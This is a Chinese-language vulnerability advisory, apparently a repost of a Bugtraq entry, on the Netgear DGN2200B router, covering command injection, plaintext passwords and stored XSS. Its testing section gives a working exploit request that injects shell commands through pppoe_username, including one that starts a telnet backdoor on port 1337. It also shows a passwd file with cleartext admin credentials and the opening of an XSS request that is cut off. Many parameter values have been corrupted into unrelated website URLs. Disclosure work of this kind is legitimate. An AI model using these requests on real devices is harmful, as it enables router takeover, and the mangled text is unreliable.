发布日期:2013-02-18
更新日期:2013-02-20
受影响系统:
Netgear DGN2200B Wireless Router V1.0.0.36_7.0.36
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 57998
NetGear DGN2200B是无线ADSL2+路由器。
Netgear DGN2200B 1.0.0.36_7.0.36在实现上存在多个安全漏洞,利用这些漏洞攻击者可获取敏感信息、执行任意命令、执行HTML和脚本代码、窃取cookie等。
1、由于没有正确验证输入,攻击者可利用pppoe_username参数在系统内注入并执行任意命令。
2、密码明文保存。
3、多个参数没有正确验证导致存在存贮型跨站脚本漏洞,可被经过认证的攻击者利用而注入恶意脚本。
<*来源:Michael Messner (michae.messner@integralis.com)
链接:
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Michael Messner提供如下信息
============ Vulnerable Firmware Releases: ============
Hardwareversion DGN2200B
Firmwareversion V1.0.0.36_7.0.36 - 04/01/2011
GUI Sprachversion: V1.0.0.25
============ Device Description: ============
Infos:
#
Firmware download: ~/dgn2200%2Fdgn2200b-firmware-version-1.0.0.36
============ Shodan Torks ============
Shodan Search: NETGEAR DGN2200
============ Vulnerability Overview: ============
* OS Command Injection in the PPOE configuration:
The vulnerability is caused by missing input validation in the pppoe_username parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to upload and execute a backdoor to compromise the device.
Param: pppoe_username
Example Request:
POST /pppoe.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=https://www.linuxidc.com/Linux/2013-02/0.9,*/*;q=https://www.linuxidc.com/Linux/2013-02/0.8
Accept-Language: de-de,de;q=https://www.linuxidc.com/Linux/2013-02/0.8,en-us;q=https://www.linuxidc.com/Linux/2013-02/0.5,en;q=https://www.linuxidc.com/Linux/2013-02/0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer:
Cookie: uid=vjkqK779eJ
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/x-www-form-urlencoded
Content-Length: 593
Connection: close
login_type=PPPoE%28PPP+over+Ethernet%29&pppoe_username=%26%20ping%20-c%201%20192%2e168%2e0%2e2%20%26&pppoe_passwd=69cw20hb&pppoe_servicename=&pppoe_dod=1&pppoe_idletime=5&WANAssign=Dynamic&DNSAssign=https://www.linuxidc.com/Linux/2013-02/0&en_nat=1&MACAssign=https://www.linuxidc.com/Linux/2013-02/0&apply=%C3%9Cbernehmen&runtest=yes&wan_ipaddr=https://www.linuxidc.com/Linux/2013-02/0.0.0.0&pppoe_localip=https://www.linuxidc.com/Linux/2013-02/0.0.0.0&wan_dns_sel=https://www.linuxidc.com/Linux/2013-02/0&wan_dns1_pri=https://www.linuxidc.com/Linux/2013-02/0.0.0.0&wan_dns1_sec=...&wan_hwaddr_sel=https://www.linuxidc.com/Linux/2013-02/0&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=https://www.linuxidc.com/Linux/2013-02/0&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=https://www.linuxidc.com/Linux/2013-02/0
=> wait around 30 seconds till the configuration is saved and activated
start telnetd on port 1337:
%26%20telnetd -p 1337%20%26
Screenshot:
* Insecure Cryptographic Storage:
There is no password hashing implemented and so it is saved in plain text on the system:
~ # cat /etc/passwd
nobody:*:0:0:nobody:/:/bin/sh
admin:password:0:0:admin:/:/bin/sh
guest:guest:0:0:guest:/:/bin/sh
~ #
* stored XSS
Injecting scripts into the parameter DomainName mode reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.
-> Zugriffsbeschränkungen -> Dienste -> neuen Dienst anlegen -> Dienstname
Param: userdefined
Original request:
POST /fw_serv_add.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=https://www.linuxidc.com/Linux/2013-02/0.9,*/*;q=https://www.linuxidc.com/Linux/2013-02/0.8
Accept-Language: de-de,de;q=https://www.linuxidc.com/Linux/2013-02/0.8,en-us;q=https://www.linuxidc.com/Linux/2013-02/0.5,en;q=https://www.linuxidc.com/Linux/2013-02/0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer:
Cookie: uid=vjkqK779eJ
Authorization: Basic xxxx=
Content-Type: application/x-www-form-urlencoded
Content-Length: 114